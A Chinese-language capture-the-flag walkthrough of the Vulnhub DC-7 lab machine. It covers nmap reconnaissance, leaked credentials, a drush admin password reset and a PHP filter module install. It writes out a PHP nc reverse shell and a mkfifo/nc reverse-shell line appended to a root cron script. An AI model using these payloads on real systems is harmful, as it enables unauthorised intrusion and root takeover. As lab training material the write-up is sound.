Vulnhub靶场渗透测试系列DC-7(跳出框框打开脑洞 drush更改drupal的admin账户密码)
靶机下载地址:https://www.vulnhub.com/entry/dc-7,356/ 将下载好的靶机导入到VMware虚拟机中,设置网络模式为NAT模式,开启靶机虚拟机 使用nmap进行主机发现的扫描,命令nmap -Pn 192.168.172.1/24 扫描到靶机IP后再使用nmap扫描靶机的操作系统,开放端口和对应服务等信息,命令nmap -T4 -A -p- 192.168.172.146 发现靶机开放22端口ssh服务和80端口的http服务 然后直接在kali机打开浏览器输入地址http://192.168.172.146 进行访问 这里给到一些提示,同时也看到这应该是一个基于Drupal CMS的网页,然后又在搜索框这里试了一下注入啥的,好像没用 这里有登录框,随便输入试一下,没有什么特别的反应 暴力破解也没啥用,使用drupal的exp也没用了,网站首页提示我们要跳出框框思考,要开一开脑洞,然后又发现主页多出了一个这个东西 然后去百度或者Google里面搜索一下,,果然发现惊喜 发现一个staffdb的源码文件夹,这应该就是DC-7的突破口,然后我们直接点击staffdb查看源码 有这么多源码文件,所以我们先从比较典型的看起走,先看config.php吧,直接点开查看 点开就发现了账户名和密码,然后我们使用这个账户名和密码在网页登录处登录,但是登录不了诶 然后我们尝试一下使用ssh连接靶机试一试,惊奇地发现竟然成功了 查看一下dc7user目录下有没有什么文件或者目录,发现真有,backups目录和mbox文件 然后查看mbox文件 发现在/opt/scripts/目录下存在一个可执行文件backups.sh,并且发现每隔15分钟就会备份一次 现在进入backups目录查看,存在两个gpg文件 没什么用,然后又进入/opt/scripts/目录,等等,这里还提示了you have a new mail in /var/mail/dc7user,我们进入/var/mail目录看看 也是备份文件,没啥用,,然后又回到/opt/scripts目录下,查看文件backups.sh,命令cat backups.sh 百度了发现drush是专门用来管理drupal站点的shell,可以用来修改admin账户的密码,使用命令drush user-password admin --password='admin ,修改admin账户的密码为admin,这里需要回到/var/www/html目录下命令才可以执行成功 然后到网页处使用账户密码admin和admin进行登录 登录成功,然后在Content—>Add content–>Basic page下,准备添加PHP代码反弹shell,但发现Drupal 8不支持PHP代码,百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入 然后点击Manage,再点击Extend,再点击Install new module 在这里输入插件地址,插件地址为
https:
插件地址在这里查看寻找https://www.drupal.org/project/php,这是PHP插件的介绍页,然后点击install进行安装 安装成功即可 然后点击【extend】,看到这里多出来一个php filter,勾选上 然后向下翻,找到并点击install 先点击【admin】,再点击【view profile】,回到这里 然后再点击【home】回到主页面 然后点击【Edit】 先在这里选择PHP code 然后在body里面写入测试代码<?php phpinfo(); ?> ,点击【save】,可看到代码执行成功 代码执行成功 然后修改代码,写入反弹shell的代码,先在kali中使用命令nc -lvvp 1234 进行监听 然后回到网页主页面,点击【Edit】,修改刚才的代码为<?php system('nc -e /bin/bash 192.168.172.131 1234'); ?> ,点击【save】 kali这边已经成功连接 但是这个shell是非交互式的shell,所以使用命令python -c "import pty; pty.spawn('/bin/bash')" ,来获取一个交互式的shell 进入/opt/scripts目录下,在该目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件可以定时执行,所以可以用它来反弹shell 使用命令echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.172.131 2345 >/tmp/f" >> backups.sh 将反弹shell的命令写入到backups.sh文件中,当它定时自动执行时即可执行其中的反弹shell语句,即可反弹回shell,大概需要等待15分钟 反弹成功,且反弹回来的shell即为root权限的shell,跳转到/root目录下可查看theflag.txt文件
|